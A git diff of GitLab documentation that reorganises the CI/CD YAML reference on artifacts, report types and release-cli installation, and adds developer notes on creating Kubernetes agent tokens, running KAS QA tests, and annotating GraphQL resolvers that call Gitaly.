+[`doublestar.Glob`](https://pkg.go.dev/github.com/bmatcuk/doublestar@v1.2.2?tab=doc#Match).
+- In GitLab Runner 12.10 and earlier,
+[`filepath.Match`](https://pkg.go.dev/path/filepath#Match).
-```yaml
-artifacts:
- untracked: true
-```
+To restrict which jobs a specific job fetches artifacts from, see [dependencies](#dependencies).
-Send all Git untracked files and files in `binaries`:
+Send all files in `binaries` and `.config`:
```yaml
artifacts:
- untracked: true
paths:
- binaries/
+ - .config
```
-Send all untracked files but [exclude](#artifactsexclude) `*.txt`:
+To disable artifact passing, define the job with empty [dependencies](#dependencies):
```yaml
-artifacts:
- untracked: true
- exclude:
- - "*.txt"
+job:
+ stage: build
+ script: make build
+ dependencies: []
```
-#### `artifacts:when`
+You may want to create artifacts only for tagged releases to avoid filling the
+build server storage with temporary build artifacts.
-Use `artifacts:when` to upload artifacts on job failure or despite the
-failure.
+Create artifacts only for tags (`default-job` doesn't create artifacts):
-`artifacts:when` can be set to one of the following values:
+```yaml
+default-job:
+ script:
+ - mvn test -U
+ except:
+ - tags
-1. `on_success` (default): Upload artifacts only when the job succeeds.
-1. `on_failure`: Upload artifacts only when the job fails.
-1. `always`: Always upload artifacts.
+release-job:
+ script:
+ - mvn package -U
+ artifacts:
+ paths:
+ - target/*.war
+ only:
+ - tags
+```
-For example, to upload artifacts only when a job fails:
+You can use wildcards for directories too. For example, if you want to get all the files inside the directories that end with `xyz`:
```yaml
job:
artifacts:
- when: on_failure
+ paths:
+ - path/*xyz/*
```
-#### `artifacts:expire_in`
+#### `artifacts:public`
-Use `expire_in` to specify how long artifacts are active before they
-expire and are deleted.
+> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/49775) in GitLab 13.8
+> - It's [deployed behind a feature flag](../../user/feature_flags.md), disabled by default.
+> - It's enabled on GitLab.com.
+> - It's recommended for production use.
-The expiration time period begins when the artifact is uploaded and
-stored on GitLab. If the expiry time is not defined, it defaults to the
-[instance wide setting](../../user/admin_area/settings/continuous_integration.md#default-artifacts-expiration)
-(30 days by default).
+Use `artifacts:public` to determine whether the job artifacts should be
+publicly available.
-To override the expiration date and protect artifacts from being automatically deleted:
+The default for `artifacts:public` is `true` which means that the artifacts in
+public pipelines are available for download by anonymous and guest users:
-- Use the **Keep** button on the job page.
-- Set the value of `expire_in` to `never`. [Available](https://gitlab.com/gitlab-org/gitlab/-/issues/22761)
- in GitLab 13.3 and later.
+```yaml
+artifacts:
+ public: true
+```
-After their expiry, artifacts are deleted hourly by default (via a cron job),
-and are not accessible anymore.
+To deny read access for anonymous and guest users to artifacts in public
+pipelines, set `artifacts:public` to `false`:
-The value of `expire_in` is an elapsed time in seconds, unless a unit is
-provided. Examples of valid values:
+```yaml
+artifacts:
+ public: false
+```
-- `'42'`
-- `42 seconds`
-- `3 mins 4 sec`
-- `2 hrs 20 min`
-- `2h20min`
-- `6 mos 1 day`
-- `47 yrs 6 mos and 4d`
-- `3 weeks and 2 days`
-- `never`
+#### `artifacts:reports`
-To expire artifacts 1 week after being uploaded:
+> - [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/20390) in GitLab 11.2.
+> - Requires GitLab Runner 11.2 and above.
+
+Use [`artifacts:reports`](#artifactsreports)
+to collect test reports, code quality reports, and security reports from jobs.
+It also exposes these reports in the GitLab UI (merge requests, pipeline views, and security dashboards).
+
+The test reports are collected regardless of the job results (success or failure).
+You can use [`artifacts:expire_in`](#artifactsexpire_in) to set up an expiration
+date for their artifacts.
+
+If you also want the ability to browse the report output files, include the
+[`artifacts:paths`](#artifactspaths) keyword.
+
+##### `artifacts:reports:api_fuzzing` **(ULTIMATE)**
+
+> - Introduced in GitLab 13.4.
+> - Requires GitLab Runner 13.4 or later.
+
+The `api_fuzzing` report collects [API Fuzzing bugs](../../user/application_security/api_fuzzing/index.md)
+as artifacts.
+
+The collected API Fuzzing report uploads to GitLab as an artifact and is summarized in merge
+requests and the pipeline view. It's also used to provide data for security dashboards.
+
+##### `artifacts:reports:cobertura`
+
+> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/3708) in GitLab 12.9.
+> - Requires [GitLab Runner](https://docs.gitlab.com/runner/) 11.5 and above.
+
+The `cobertura` report collects [Cobertura coverage XML files](../../user/project/merge_requests/test_coverage_visualization.md).
+The collected Cobertura coverage reports upload to GitLab as an artifact
+and display in merge requests.
+
+Cobertura was originally developed for Java, but there are many
+third party ports for other languages like JavaScript, Python, Ruby, and so on.
+
+##### `artifacts:reports:codequality`
+
+> - Introduced in [GitLab Starter](https://about.gitlab.com/pricing/) 11.5.
+> - Made [available in all tiers](https://gitlab.com/gitlab-org/gitlab/-/issues/212499) in GitLab 13.2.
+> - Requires GitLab Runner 11.5 and above.
+
+The `codequality` report collects [Code Quality issues](../../user/project/merge_requests/code_quality.md)
+as artifacts.
+
+The collected Code Quality report uploads to GitLab as an artifact and is summarized in merge requests.
+
+##### `artifacts:reports:container_scanning` **(ULTIMATE)**
+
+> - Introduced in GitLab 11.5.
+> - Requires GitLab Runner 11.5 and above.
+
+The `container_scanning` report collects [Container Scanning vulnerabilities](../../user/application_security/container_scanning/index.md)
+as artifacts.
+
+The collected Container Scanning report uploads to GitLab as an artifact and
+is summarized in merge requests and the pipeline view. It's also used to provide data for security
+dashboards.
+
+##### `artifacts:reports:coverage_fuzzing` **(ULTIMATE)**
+
+> - Introduced in GitLab 13.4.
+> - Requires GitLab Runner 13.4 or later.
+
+The `coverage_fuzzing` report collects [coverage fuzzing bugs](../../user/application_security/coverage_fuzzing/index.md)
+as artifacts.
+
+The collected coverage fuzzing report uploads to GitLab as an artifact and is summarized in merge
+requests and the pipeline view. It's also used to provide data for security dashboards.
+
+##### `artifacts:reports:dast` **(ULTIMATE)**
+
+> - Introduced in GitLab 11.5.
+> - Requires GitLab Runner 11.5 and above.
+
+The `dast` report collects [DAST vulnerabilities](../../user/application_security/dast/index.md)
+as artifacts.
+
+The collected DAST report uploads to GitLab as an artifact and is summarized in merge requests and the pipeline view. It's also used to provide data for security
+dashboards.
+
+##### `artifacts:reports:dependency_scanning` **(ULTIMATE)**
+
+> - Introduced in GitLab 11.5.
+> - Requires GitLab Runner 11.5 and above.
+
+The `dependency_scanning` report collects [Dependency Scanning vulnerabilities](../../user/application_security/dependency_scanning/index.md)
+as artifacts.
+
+The collected Dependency Scanning report uploads to GitLab as an artifact and is summarized in merge requests and the pipeline view. It's also used to provide data for security
+dashboards.
+
+##### `artifacts:reports:dotenv`
+
+> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/17066) in GitLab 12.9.
+> - Requires GitLab Runner 11.5 and later.
+
+The `dotenv` report collects a set of environment variables as artifacts.
+
+The collected variables are registered as runtime-created variables of the job,
+which is useful to [set dynamic environment URLs after a job finishes](../environments/index.md#set-dynamic-environment-urls-after-a-job-finishes).
+
+There are a couple of exceptions to the [original dotenv rules](https://github.com/motdotla/dotenv#rules):
+
+- The variable key can contain only letters, digits, and underscores (`_`).
+- The maximum size of the `.env` file is 5 KB.
+- In GitLab 13.5 and older, the maximum number of inherited variables is 10.
+- In [GitLab 13.6 and later](https://gitlab.com/gitlab-org/gitlab/-/issues/247913),
+ the maximum number of inherited variables is 20.
+- Variable substitution in the `.env` file is not supported.
+- The `.env` file can't have empty lines or comments (starting with `#`).
+- Key values in the `env` file cannot have spaces or newline characters (`\n`), including when using single or double quotes.
+- Quote escaping during parsing (`key = 'value'` -> `{key: "value"}`) is not supported.
+
+##### `artifacts:reports:junit`
+
+> - [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/20390) in GitLab 11.2.
+> - Requires GitLab Runner 11.2 and above.
+
+The `junit` report collects [JUnit report format XML files](https://www.ibm.com/support/knowledgecenter/en/SSQ2R2_14.1.0/com.ibm.rsar.analysis.codereview.cobol.doc/topics/cac_useresults_junit.html)
+as artifacts. Although JUnit was originally developed in Java, there are many
+third party ports for other
+languages like JavaScript, Python, Ruby, and so on.
+
+See [Unit test reports](../unit_test_reports.md) for more details and examples.
+Below is an example of collecting a JUnit report format XML file from Ruby's RSpec test tool:
```yaml
-job:
+rspec:
+ stage: test
+ script:
+ - bundle install
+ - rspec --format RspecJunitFormatter --out rspec.xml
artifacts:
- expire_in: 1 week
+ reports:
+ junit: rspec.xml
```
-The latest artifacts for refs are locked against deletion, and kept regardless of
-the expiry time. [Introduced in](https://gitlab.com/gitlab-org/gitlab/-/issues/16267)
-GitLab 13.0 behind a disabled feature flag, and [made the default behavior](https://gitlab.com/gitlab-org/gitlab/-/issues/229936)
-in GitLab 13.4.
+The collected Unit test reports upload to GitLab as an artifact and display in merge requests.
-In [GitLab 13.8 and later](https://gitlab.com/gitlab-org/gitlab/-/issues/241026), you can [disable this behavior at the project level in the CI/CD settings](../pipelines/job_artifacts.md#keep-artifacts-from-most-recent-successful-jobs). In [GitLab 13.9 and later](https://gitlab.com/gitlab-org/gitlab/-/issues/276583), you can [disable this behavior instance-wide](../../user/admin_area/settings/continuous_integration.md#keep-the-latest-artifacts-for-all-jobs-in-the-latest-successful-pipelines).
+If the JUnit tool you use exports to multiple XML files, specify
+multiple test report paths within a single job to
+concatenate them into a single file. Use a filename pattern (`junit: rspec-*.xml`),
+an array of filenames (`junit: [rspec-1.xml, rspec-2.xml, rspec-3.xml]`), or a
+combination thereof (`junit: [rspec.xml, test-results/TEST-*.xml]`).
-#### `artifacts:reports`
+##### `artifacts:reports:license_management` **(ULTIMATE)**
-Use [`artifacts:reports`](../pipelines/job_artifacts.md#artifactsreports)
-to collect test reports, code quality reports, and security reports from jobs.
-It also exposes these reports in the GitLab UI (merge requests, pipeline views, and security dashboards).
+> - Introduced in GitLab 11.5.
+> - Requires GitLab Runner 11.5 and above.
-These are the available report types:
-
-| Keyword | Description |
-|-----------------------------------------------------------------------------------------------------------------------------|----------------------------------------------------------------------------------|
-| [`artifacts:reports:cobertura`](../pipelines/job_artifacts.md#artifactsreportscobertura) | The `cobertura` report collects Cobertura coverage XML files. |
-| [`artifacts:reports:codequality`](../pipelines/job_artifacts.md#artifactsreportscodequality) | The `codequality` report collects Code Quality issues. |
-| [`artifacts:reports:container_scanning`](../pipelines/job_artifacts.md#artifactsreportscontainer_scanning) **(ULTIMATE)** | The `container_scanning` report collects Container Scanning vulnerabilities. |
-| [`artifacts:reports:dast`](../pipelines/job_artifacts.md#artifactsreportsdast) **(ULTIMATE)** | The `dast` report collects Dynamic Application Security Testing vulnerabilities. |
-| [`artifacts:reports:dependency_scanning`](../pipelines/job_artifacts.md#artifactsreportsdependency_scanning) **(ULTIMATE)** | The `dependency_scanning` report collects Dependency Scanning vulnerabilities. |
-| [`artifacts:reports:dotenv`](../pipelines/job_artifacts.md#artifactsreportsdotenv) | The `dotenv` report collects a set of environment variables. |
-| [`artifacts:reports:junit`](../pipelines/job_artifacts.md#artifactsreportsjunit) | The `junit` report collects JUnit XML files. |
-| [`artifacts:reports:license_management`](../pipelines/job_artifacts.md#artifactsreportslicense_management) **(ULTIMATE)** | The `license_management` report collects Licenses (*removed from GitLab 13.0*). |
-| [`artifacts:reports:license_scanning`](../pipelines/job_artifacts.md#artifactsreportslicense_scanning) **(ULTIMATE)** | The `license_scanning` report collects Licenses. |
-| [`artifacts:reports:load_performance`](../pipelines/job_artifacts.md#artifactsreportsload_performance) **(PREMIUM)** | The `load_performance` report collects load performance metrics. |
-| [`artifacts:reports:metrics`](../pipelines/job_artifacts.md#artifactsreportsmetrics) **(PREMIUM)** | The `metrics` report collects Metrics. |
-| [`artifacts:reports:performance`](../pipelines/job_artifacts.md#artifactsreportsperformance) **(PREMIUM)** | The `performance` report collects Browser Performance metrics. |
-| [`artifacts:reports:sast`](../pipelines/job_artifacts.md#artifactsreportssast) | The `sast` report collects Static Application Security Testing vulnerabilities. |
-| [`artifacts:reports:terraform`](../pipelines/job_artifacts.md#artifactsreportsterraform) | The `terraform` report collects Terraform `tfplan.json` files. |
+WARNING:
+This artifact is still valid but is **deprecated** in favor of the
+[artifacts:reports:license_scanning](#artifactsreportslicense_scanning)
+introduced in GitLab 12.8.
-#### `dependencies`
+The `license_management` report collects [Licenses](../../user/compliance/license_compliance/index.md)
+as artifacts.
-By default, all [`artifacts`](#artifacts) from previous [stages](#stages)
-are passed to each job. However, you can use the `dependencies` keyword to
-define a limited list of jobs to fetch artifacts from. You can also set a job to download no artifacts at all.
+The collected License Compliance report uploads to GitLab as an artifact and is summarized in merge requests and the pipeline view. It's also used to provide data for security
+dashboards.
-To use this feature, define `dependencies` in context of the job and pass
-a list of all previous jobs the artifacts should be downloaded from.
+##### `artifacts:reports:license_scanning` **(ULTIMATE)**
-You can define jobs from stages that were executed before the current one.
-An error occurs if you define jobs from the current or an upcoming stage.
+> - Introduced in GitLab 12.8.
+> - Requires GitLab Runner 11.5 and above.
-To prevent a job from downloading artifacts, define an empty array.
+The `license_scanning` report collects [Licenses](../../user/compliance/license_compliance/index.md)
+as artifacts.
-When you use `dependencies`, the status of the previous job is not considered.
-If a job fails or it's a manual job that isn't triggered, no error occurs.
+The License Compliance report uploads to GitLab as an artifact and displays automatically in merge requests and the pipeline view, and provide data for security
+dashboards.
-The following example defines two jobs with artifacts: `build:osx` and
-`build:linux`. When the `test:osx` is executed, the artifacts from `build:osx`
-are downloaded and extracted in the context of the build. The same happens
-for `test:linux` and artifacts from `build:linux`.
+##### `artifacts:reports:load_performance` **(PREMIUM)**
-The job `deploy` downloads artifacts from all previous jobs because of
-the [stage](#stages) precedence:
+> - Introduced in [GitLab 13.2](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/35260) in [GitLab Premium](https://about.gitlab.com/pricing/) 13.2.
+> - Requires GitLab Runner 11.5 and above.
+
+The `load_performance` report collects [Load Performance Testing metrics](../../user/project/merge_requests/load_performance_testing.md)
+as artifacts.
+
+The report is uploaded to GitLab as an artifact and is
+shown in merge requests automatically.
+
+##### `artifacts:reports:metrics` **(PREMIUM)**
+
+> Introduced in GitLab 11.10.
+
+The `metrics` report collects [Metrics](../metrics_reports.md)
+as artifacts.
+
+The collected Metrics report uploads to GitLab as an artifact and displays in merge requests.
+
+##### `artifacts:reports:performance` **(PREMIUM)**
+
+> - Introduced in GitLab 11.5.
+> - Requires GitLab Runner 11.5 and above.
+
+The `performance` report collects [Browser Performance Testing metrics](../../user/project/merge_requests/browser_performance_testing.md)
+as artifacts.
+
+The collected Browser Performance report uploads to GitLab as an artifact and displays in merge requests.
+
+##### `artifacts:reports:requirements` **(ULTIMATE)**
+
+> - [Introduced](https://gitlab.com/groups/gitlab-org/-/epics/2859) in GitLab 13.1.
+> - Requires GitLab Runner 11.5 and above.
+
+The `requirements` report collects `requirements.json` files as artifacts.
+
+The collected Requirements report uploads to GitLab as an artifact and
+existing [requirements](../../user/project/requirements/index.md) are
+marked as Satisfied.
+
+##### `artifacts:reports:sast`
+
+> - Introduced in GitLab 11.5.
+> - Made [available in all tiers](https://gitlab.com/groups/gitlab-org/-/epics/2098) in GitLab 13.3.
+> - Requires GitLab Runner 11.5 and above.
+
+The `sast` report collects [SAST vulnerabilities](../../user/application_security/sast/index.md)
+as artifacts.
+
+The collected SAST report uploads to GitLab as an artifact and is summarized
+in merge requests and the pipeline view. It's also used to provide data for security
+dashboards.
+
+##### `artifacts:reports:secret_detection`
+
+> - Introduced in GitLab 13.1.
+> - Made [available in all tiers](https://gitlab.com/gitlab-org/gitlab/-/issues/222788) in GitLab
+ 13.3.
+> - Requires GitLab Runner 11.5 and above.
+
+The `secret-detection` report collects [detected secrets](../../user/application_security/secret_detection/index.md)
+as artifacts.
+
+The collected Secret Detection report is uploaded to GitLab as an artifact and summarized
+in the merge requests and pipeline view. It's also used to provide data for security
+dashboards.
+
+##### `artifacts:reports:terraform`
+
+> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/207528) in GitLab 13.0.
+> - Requires [GitLab Runner](https://docs.gitlab.com/runner/) 11.5 and above.
+
+The `terraform` report obtains a Terraform `tfplan.json` file. [JQ processing required to remove credentials](../../user/infrastructure/mr_integration.md#setup). The collected Terraform
+plan report uploads to GitLab as an artifact and displays
+in merge requests. For more information, see
+[Output `terraform plan` information into a merge request](../../user/infrastructure/mr_integration.md).
+
+#### `artifacts:untracked`
+
+Use `artifacts:untracked` to add all Git untracked files as artifacts (along
+with the paths defined in `artifacts:paths`). `artifacts:untracked` ignores configuration
+in the repository's `.gitignore` file.
+
+Send all Git untracked files:
```yaml
-build:osx:
- stage: build
- script: make build:osx
- artifacts:
- paths:
- - binaries/
+artifacts:
+ untracked: true
+```
-build:linux:
- stage: build
- script: make build:linux
- artifacts:
- paths:
- - binaries/
+Send all Git untracked files and files in `binaries`:
-test:osx:
- stage: test
- script: make test:osx
- dependencies:
- - build:osx
+```yaml
+artifacts:
+ untracked: true
+ paths:
+ - binaries/
+```
-test:linux:
- stage: test
- script: make test:linux
- dependencies:
- - build:linux
+Send all untracked files but [exclude](#artifactsexclude) `*.txt`:
-deploy:
- stage: deploy
- script: make deploy
+```yaml
+artifacts:
+ untracked: true
+ exclude:
+ - "*.txt"
```
-##### When a dependent job fails
+#### `artifacts:when`
-> Introduced in GitLab 10.3.
+Use `artifacts:when` to upload artifacts on job failure or despite the
+failure.
-If the artifacts of the job that is set as a dependency are
-[expired](#artifactsexpire_in) or
-[erased](../pipelines/job_artifacts.md#erasing-artifacts), then
-the dependent job fails.
+`artifacts:when` can be set to one of the following values:
-You can ask your administrator to
-[flip this switch](../../administration/job_artifacts.md#validation-for-dependencies)
-and bring back the old behavior.
+1. `on_success` (default): Upload artifacts only when the job succeeds.
+1. `on_failure`: Upload artifacts only when the job fails.
+1. `always`: Always upload artifacts.
+
+For example, to upload artifacts only when a job fails:
+
+```yaml
+job:
+ artifacts:
+ when: on_failure
+```
### `coverage`
@@ -4089,6 +4461,8 @@ finishes.
> [Introduced](https://gitlab.com/gitlab-org/gitlab/merge_requests/19298) in GitLab 13.2.
Use `release` to create a [release](../../user/project/releases/index.md).
+Requires the [`release-cli`](https://gitlab.com/gitlab-org/release-cli/-/tree/master/docs)
+to be available in your GitLab Runner Docker or shell executor.
These keywords are supported:
@@ -4110,6 +4484,99 @@ You must specify the Docker image to use for the `release-cli`:
image: registry.gitlab.com/gitlab-org/release-cli:latest
```
+#### `release-cli` for shell executors
+
+> [Introduced](https://gitlab.com/gitlab-org/release-cli/-/issues/21) in GitLab 13.8.
+
+For GitLab Runner shell executors, you can download and install the `release-cli` manually for your [supported OS and architecture](https://release-cli-downloads.s3.amazonaws.com/latest/index.html).
+Once installed, the `release` keyword should be available to you.
+
+**Install on Unix/Linux**
+
+1. Download the binary for your system, in the following example for amd64 systems:
+
+ ```shell
+ curl --location --output /usr/local/bin/release-cli "https://release-cli-downloads.s3.amazonaws.com/latest/release-cli-linux-amd64"
+ ```
+
+1. Give it permissions to execute:
+
+ ```shell
+ sudo chmod +x /usr/local/bin/release-cli
+ ```
+
+1. Verify `release-cli` is available:
+
+ ```shell
+ $ release-cli -v
+
+ release-cli version 0.6.0
+ ```
+
+**Install on Windows PowerShell**
+
+1. Create a folder somewhere in your system, for example `C:\GitLab\Release-CLI\bin`
+
+ ```shell
+ New-Item -Path 'C:\GitLab\Release-CLI\bin' -ItemType Directory
+ ```
+
+1. Download the executable file:
+
+ ```shell
+ PS C:\> Invoke-WebRequest -Uri "https://release-cli-downloads.s3.amazonaws.com/latest/release-cli-windows-amd64.exe" -OutFile "C:\GitLab\Release-CLI\bin\release-cli.exe"
+
+ Directory: C:\GitLab\Release-CLI
+ Mode LastWriteTime Length Name
+ ---- ------------- ------ ----
+ d----- 3/16/2021 4:17 AM bin
+
+ ```
+
+1. Add the directory to your `$env:PATH`:
+
+ ```shell
+ $env:PATH += ";C:\GitLab\Release-CLI\bin"
+ ```
+
+1. Verify `release-cli` is available:
+
+ ```shell
+ PS C:\> release-cli -v
+
+ release-cli version 0.6.0
+ ```
+
+#### Use a custom SSL CA certificate authority
+
+You can use the `ADDITIONAL_CA_CERT_BUNDLE` CI/CD variable to configure a custom SSL CA certificate authority,
+which is used to verify the peer when the `release-cli` creates a release through the API using HTTPS with custom certificates.
+The `ADDITIONAL_CA_CERT_BUNDLE` value should contain the
+[text representation of the X.509 PEM public-key certificate](https://tools.ietf.org/html/rfc7468#section-5.1)
+or the `path/to/file` containing the certificate authority.
+For example, to configure this value in the `.gitlab-ci.yml` file, use the following:
+
+```yaml
+release:
+ variables:
+ ADDITIONAL_CA_CERT_BUNDLE: |
+ -----BEGIN CERTIFICATE-----
+ MIIGqTCCBJGgAwIBAgIQI7AVxxVwg2kch4d56XNdDjANBgkqhkiG9w0BAQsFADCB
+ ...
+ jWgmPqF3vUbZE0EyScetPJquRFRKIesyJuBFMAs=
+ -----END CERTIFICATE-----
+ script:
+ - echo "Create release"
+ release:
+ name: 'My awesome release'
+ tag_name: '$CI_COMMIT_TAG'
+```
+
+The `ADDITIONAL_CA_CERT_BUNDLE` value can also be configured as a
+[custom variable in the UI](../variables/README.md#custom-cicd-variables),
+either as a `file`, which requires the path to the certificate, or as a variable,
+which requires the text representation of the certificate.
+
#### `script`
All jobs except [trigger](#trigger) jobs must have the `script` keyword. A `release`
@@ -4197,7 +4664,7 @@ job:
#### `release:ref`
-If the `release: tag_name` doesn’t exist yet, the release is created from `ref`.
+If the `release: tag_name` doesn't exist yet, the release is created from `ref`.
`ref` can be a commit SHA, another tag name, or a branch name.
#### `release:milestones`
@@ -4510,10 +4977,10 @@ meaning it applies to all jobs. If you define a variable in a job, it's availabl
to that job only.
If a variable of the same name is defined globally and for a specific job, the
-[job-specific variable overrides the global variable](../variables/README.md#priority-of-cicd-variables).
+[job-specific variable overrides the global variable](../variables/README.md#cicd-variable-precedence).
All YAML-defined variables are also set to any linked
-[Docker service containers](../docker/using_docker_images.md#what-is-a-service).
+[Docker service containers](../services/index.md).
You can use [YAML anchors for variables](#yaml-anchors-for-variables).
@@ -4820,7 +5287,7 @@ reused in the `test` job:
- !reference [.teardown, after_script]
```
-In the following example, `test-vars-1` reuses the all the variables in `.vars`, while `test-vars-2`
+In the following example, `test-vars-1` reuses all the variables in `.vars`, while `test-vars-2`
selects a specific variable and reuses it as a new `MY_VAR` variable.
```yaml
@@ -4888,13 +5355,14 @@ Use [`default:`](#custom-default-keyword-values) instead. For example:
```yaml
default:
- image: ruby:2.5
+ image: ruby:3.0
services:
- docker:dind
cache:
paths: [vendor/]
before_script:
- - bundle install --path vendor/
+ - bundle config set path vendor/bundle
+ - bundle install
after_script:
- rm -rf tmp/
```
diff --git a/doc/ci/yaml/gitlab_ci_yaml.md b/doc/ci/yaml/gitlab_ci_yaml.md
index 851c9776c45..2993e077268 100644
--- a/doc/ci/yaml/gitlab_ci_yaml.md
+++ b/doc/ci/yaml/gitlab_ci_yaml.md
@@ -76,7 +76,7 @@ branch in the project.
GitLab CI/CD not only executes the jobs but also shows you what's happening during execution,
just as you would see in your terminal:
-![job running](img/job_running.png)
+![job running](img/job_running_v13_10.png)
You create the strategy for your app and GitLab runs the pipeline
according to what you've defined. Your pipeline status is also
diff --git a/doc/ci/yaml/img/job_running.png b/doc/ci/yaml/img/job_running.png
deleted file mode 100644
index efd138fd4f8..00000000000
--- a/doc/ci/yaml/img/job_running.png
+++ /dev/null
Binary files differ
diff --git a/doc/ci/yaml/img/job_running_v13_10.png b/doc/ci/yaml/img/job_running_v13_10.png
new file mode 100644
index 00000000000..b1f21b8445f
--- /dev/null
+++ b/doc/ci/yaml/img/job_running_v13_10.png
Binary files differ
diff --git a/doc/development/README.md b/doc/development/README.md
index 43ceb737dde..3b6eb068c13 100644
--- a/doc/development/README.md
+++ b/doc/development/README.md
@@ -176,6 +176,7 @@ In these cases, use the following workflow:
- [Working with the GitHub importer](github_importer.md)
- [Import/Export development documentation](import_export.md)
- [Test Import Project](import_project.md)
+- [Group migration](bulk_import.md)
- [Elasticsearch integration docs](elasticsearch.md)
- [Working with Merge Request diffs](diffs.md)
- [Kubernetes integration guidelines](kubernetes.md)
@@ -262,7 +263,7 @@ See [database guidelines](database/index.md).
- [Product Intelligence guide](https://about.gitlab.com/handbook/product/product-intelligence-guide/)
- [Usage Ping guide](usage_ping/index.md)
-- [Snowplow guide](snowplow.md)
+- [Snowplow guide](snowplow/index.md)
## Experiment guide
diff --git a/doc/development/agent/identity.md b/doc/development/agent/identity.md
index 49d20d2fd87..83af4318de9 100644
--- a/doc/development/agent/identity.md
+++ b/doc/development/agent/identity.md
@@ -92,3 +92,15 @@ GitLab provides the following information in its response for a given Agent acce
- Agent configuration Git repository. (The agent doesn't support per-folder authorization.)
- Agent name.
+
+## Create an agent
+
+You can create an agent by following the [user documentation](../../user/clusters/agent/index.md#create-an-agent-record-in-gitlab), or via Rails console:
+
+```ruby
+project = ::Project.find_by_full_path("path-to/your-configuration-project")
+# agent-name should be the same as specified above in the config.yaml
+agent = ::Clusters::Agent.create(name: "<agent-name>", project: project)
+token = ::Clusters::AgentToken.create(agent: agent)
+token.token # this will print out the token you need to use on the next step
+```
diff --git a/doc/development/agent/local.md b/doc/development/agent/local.md
index 603364567bf..670315db3a8 100644
--- a/doc/development/agent/local.md
+++ b/doc/development/agent/local.md
@@ -98,3 +98,58 @@ bazel test //internal/module/gitops/server:server_test
- Bazel documentation about [specifying targets to build](https://docs.bazel.build/versions/master/guide.html#specifying-targets-to-build).
- [The Bazel query](https://docs.bazel.build/versions/master/query.html)
- [Bazel query how to](https://docs.bazel.build/versions/master/query-how-to.html)
+
+## KAS QA tests
+
+This section describes how to run KAS tests against different GitLab environments based on the
+[GitLab QA orchestrator](https://gitlab.com/gitlab-org/gitlab-qa).
+
+### Status
+
+The `kas` QA tests currently have some limitations. You can run them manually on GDK, but they don't
+run automatically with the nightly jobs against the live environment. See the section below
+to learn how to run them against different environments.
+
+### Prepare
+
+Before performing any of these tests, if you have a `k3s` instance running, make sure to
+stop it manually before running them. Otherwise, the tests might fail with the message
+`failed to remove k3s cluster`.
+
+You might need to specify the correct Agent image version that matches the `kas` image version. You can use the `GITLAB_AGENTK_VERSION` local env for this.
+
+### Against `staging`
+
+1. Go to your local `qa/qa/service/cluster_provider/k3s.rb` and comment out
+ [this line](https://gitlab.com/gitlab-org/gitlab/-/blob/5b15540ea78298a106150c3a1d6ed26416109b9d/qa/qa/service/cluster_provider/k3s.rb#L8) and
+ [this line](https://gitlab.com/gitlab-org/gitlab/-/blob/5b15540ea78298a106150c3a1d6ed26416109b9d/qa/qa/service/cluster_provider/k3s.rb#L36).
+ We don't allow local connections on `staging` as they require an admin user.
+1. Ensure you don't have an `EE_LICENSE` env var set as this would force an admin login.
+1. Go to your GDK root folder and `cd gitlab/qa`.
+1. Login with your user in staging and create a group to be used as sandbox.
+ Something like: `username-qa-sandbox`.
+1. Create an access token for your user with the `api` permission.
+1. Replace the values given below with your own and run:
+
+ ```shell
+ GITLAB_SANDBOX_NAME="<THE GROUP ID YOU CREATED ON STEP 2>" \
+ GITLAB_QA_ACCESS_TOKEN="<THE ACCESS TOKEN YOU CREATED ON STEP 3>" \
+ GITLAB_USERNAME="<YOUR STAGING USERNAME>" \
+ GITLAB_PASSWORD="<YOUR STAGING PASSWORD>" \
+ bundle exec bin/qa Test::Instance::All https://staging.gitlab.com -- --tag quarantine qa/specs/features/ee/api/7_configure/kubernetes/kubernetes_agent_spec.rb
+ ```
+
+### Against GDK
+
+1. Go to your `qa/qa/fixtures/kubernetes_agent/agentk-manifest.yaml.erb` and comment out [this line](https://gitlab.com/gitlab-org/gitlab/-/blob/a55b78532cfd29426cf4e5b4edda81407da9d449/qa/qa/fixtures/kubernetes_agent/agentk-manifest.yaml.erb#L27) and uncomment [this line](https://gitlab.com/gitlab-org/gitlab/-/blob/a55b78532cfd29426cf4e5b4edda81407da9d449/qa/qa/fixtures/kubernetes_agent/agentk-manifest.yaml.erb#L28).
+ GDK's `kas` listens on `grpc`, not on `wss`.
+1. Go to the GDK's root folder and `cd gitlab/qa`.
+1. On the contrary to staging, run the QA test in GDK as admin, which is the default choice. To do so, use the default sandbox group and run the command below. Make sure to adjust your credentials if necessary, otherwise, the test might fail:
+
+ ```shell
+ GITLAB_USERNAME=root \
+ GITLAB_PASSWORD="5iveL\!fe" \
+ GITLAB_ADMIN_USERNAME=root \
+ GITLAB_ADMIN_PASSWORD="5iveL\!fe" \
+ bundle exec bin/qa Test::Instance::All http://gdk.test:3000 -- --tag quarantine qa/specs/features/ee/api/7_configure/kubernetes/kubernetes_agent_spec.rb
+ ```
diff --git a/doc/development/api_graphql_styleguide.md b/doc/development/api_graphql_styleguide.md
index 8bac02c99af..6256610ae6a 100644
--- a/doc/development/api_graphql_styleguide.md
+++ b/doc/development/api_graphql_styleguide.md
@@ -392,6 +392,28 @@ field :blob, type: Types::Snippets::BlobType,
This will increment the [`complexity` score](#field-complexity) of the field by `1`.
+If a resolver calls Gitaly, it can be annotated with
+`BaseResolver.calls_gitaly!`. This passes `calls_gitaly: true` to any
+field that uses this resolver.
+
+For example:
+
+```ruby
+class BranchResolver < BaseResolver
+ type ::Types::BranchType, null: true
+ calls_gitaly!
+
+ argument name: ::GraphQL::STRING_TYPE, required: true
+
+ def resolve(name:)
+ object.branch(name)
+ end
+end
+```
+
+Then when we use it, any field that uses `BranchResolver` has the correct
+value for `calls_gitaly:`.
+
### Exposing permissions for a type
To expose permissions the current user has on a resource, you can call
@@ -750,113 +772,7 @@ argument :title, GraphQL::STRING_TYPE,
## Authorization
-Authorizations can be applied to both types and fields using the same
-abilities as in the Rails app.
-
-If the:
-
-- Currently authenticated user fails the authorization, the authorized
- resource is returned as `null`.
-- Resource is part of a collection, the collection is filtered to
- exclude the objects that the user's authorization checks failed against.
-
